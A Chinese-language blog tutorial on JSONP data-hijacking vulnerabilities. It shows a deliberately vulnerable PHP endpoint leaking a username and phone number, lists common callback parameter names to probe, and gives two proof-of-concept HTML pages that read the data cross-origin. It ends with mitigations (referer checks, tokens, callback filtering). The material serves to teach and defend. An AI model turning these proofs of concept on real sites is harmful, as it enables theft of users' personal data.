首页IT科技js数据劫持都有哪些方法(JSONP数据劫持漏洞)

js数据劫持都有哪些方法(JSONP数据劫持漏洞)

时间2025-05-04 21:03:56分类IT科技浏览3177
导读:​介绍 JSONP(JSON with Padding)是 json 的一种"使用模式",可以让网页从别的域名(网站)那获取资料,即跨域读取数据;它利用的是script标签的 src 属性不受同源策略影响的特性,使网页可以得到从其他来源动态产生的 json 数据,因此可以用来实现跨域读取数据。...

​介绍

JSONP(JSON with Padding)是 json 的一种"使用模式"        ,可以让网页从别的域名(网站)那获取资料                 ,即跨域读取数据;它利用的是script标签的 src 属性不受同源策略影响的特性      ,使网页可以得到从其他来源动态产生的 json 数据      ,因此可以用来实现跨域读取数据        。

更通俗的说法:JSONP 就是利用 <script> 标签的跨域能力实现跨域数据的访问                ,请求动态生成的 JavaScript 脚本同时带一个 callback 函数名作为参数                 。服务端收到请求后         ,动态生成脚本产生数据    ,并在代码中以产生的数据为参数调用 callback 函数      。

漏洞原理

和 CSRF 类似               ,都需要用户交互            ,而 CSRF 主要是以用户的账户进行增删改的操作  ,jsonp 则主要用来劫持数据      。

当网站通过 JSONP 方式传递用户敏感信息时              ,攻击者可以伪造 JSONP 调用页面               ,诱导被攻击者访问来达到窃取用户信息的目的;jsonp 数据劫持就是攻击者获取了本应该传给网站其他接口的数据                。

漏洞代码

假设这是目标网站上的代码,然后我们利用漏洞就可以劫持到里面的数据           ,如username        、phone

<?php //test.php header(Content-type: application/json); $callback = $_GET[callback]; print $callback.({"username" : "d4m1ts","phone" : "13888888888"});; ?>

快速启动 php 环境

php -S 127.0.0.1:9999

实现效果

利用场景

如上图                  ,所有包含有callback等回调函数的   ,且请求方式为 GET        ,没有验证 referer 等                 ,都可以尝试下该漏洞

如果返回内容是 json 格式的      ,但是没有回调函数      ,我们可以尝试手动添加回调函数去试试运气                ,一些常见的如下:

_callback=mstkey _cb=mstkey callback=mstkey cb=mstkey jsonp=mstkey jsonpcallback=mstkey jsonpcb=mstkey jsonp_cb=mstkey json=mstkey jsoncallback=mstkey jcb=mstkey call=mstkey callBack=mstkey jsonpCallback=mstkey jsonpCb=mstkey jsonp_Cb=mstkey jsonCallback=mstkey ca=mstkey

漏洞利用

当我们发现信息泄露的 jsonp 接口以后         ,我们需要构造一个恶意 html 页面    ,然后引诱受害者去访问这个网站               ,一旦访问了这个网站            ,脚本就会自动运行  ,就会向这个接口请求用户的敏感数据              ,并传送到攻击者的服务器上         。

POC

基于实现回调函数

<script> function xxx(data) { alert(data.username); } </script> <script src="http://127.0.0.1:9999/test.php?callback=xxx"></script>

保存为 html               ,诱导受害者访问,可见成功获取到了username信息

image-20220322171224615

简而言之:存在信息泄漏的 JSONP 接口http://127.0.0.1:9999/test.php?callback=xxx           ,攻击者构造 POC 后诱导用户访问 POC                  ,然后就会调用这个接口获取到敏感数据   ,获取到的敏感数据被攻击者截获了    。

另一个 POC

基于 jquery

<script src="http://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script> <script type="text/javascript"> $.getJSON("http://127.0.0.1:9999/test.php?callback=?", function(data){ alert(data.phone); }); </script>

image-20220322173916125

修复建议

扩展

修复建议

接受请求时检查referer来源;

在请求中添加token并在后端进行验证;

严格过滤 callback 函数名及 JSON 里数据的输出               。

扩展

如果目标的 header 头没有设置Content-Type为json        ,而是html                 ,那么也可以造成 XSS 漏洞

一个获取 QQ 号的 JSONP 劫持实例[1]

image-20220322185037473

推荐阅读:JSONP 挖掘与高级利用[2]

参考资料

[1]一个获取 QQ 号的 JSONP 劫持实例: 

http://www.piaoyi.org/network/get-qq-haoma-js.html

[2]JSONP 挖掘与高级利用: 

http://drops.xmd5.com/static/drops/papers-6630.html

创心域SEO版权声明:以上内容作者已申请原创保护,未经允许不得转载,侵权必究!授权事宜、对本内容有异议或投诉,敬请联系网站管理员,我们将尽快回复您,谢谢合作!

展开全文READ MORE
lstm 参数量(【nn.LSTM详解】) threejs修改模型材质(Three.js教程:材质效果)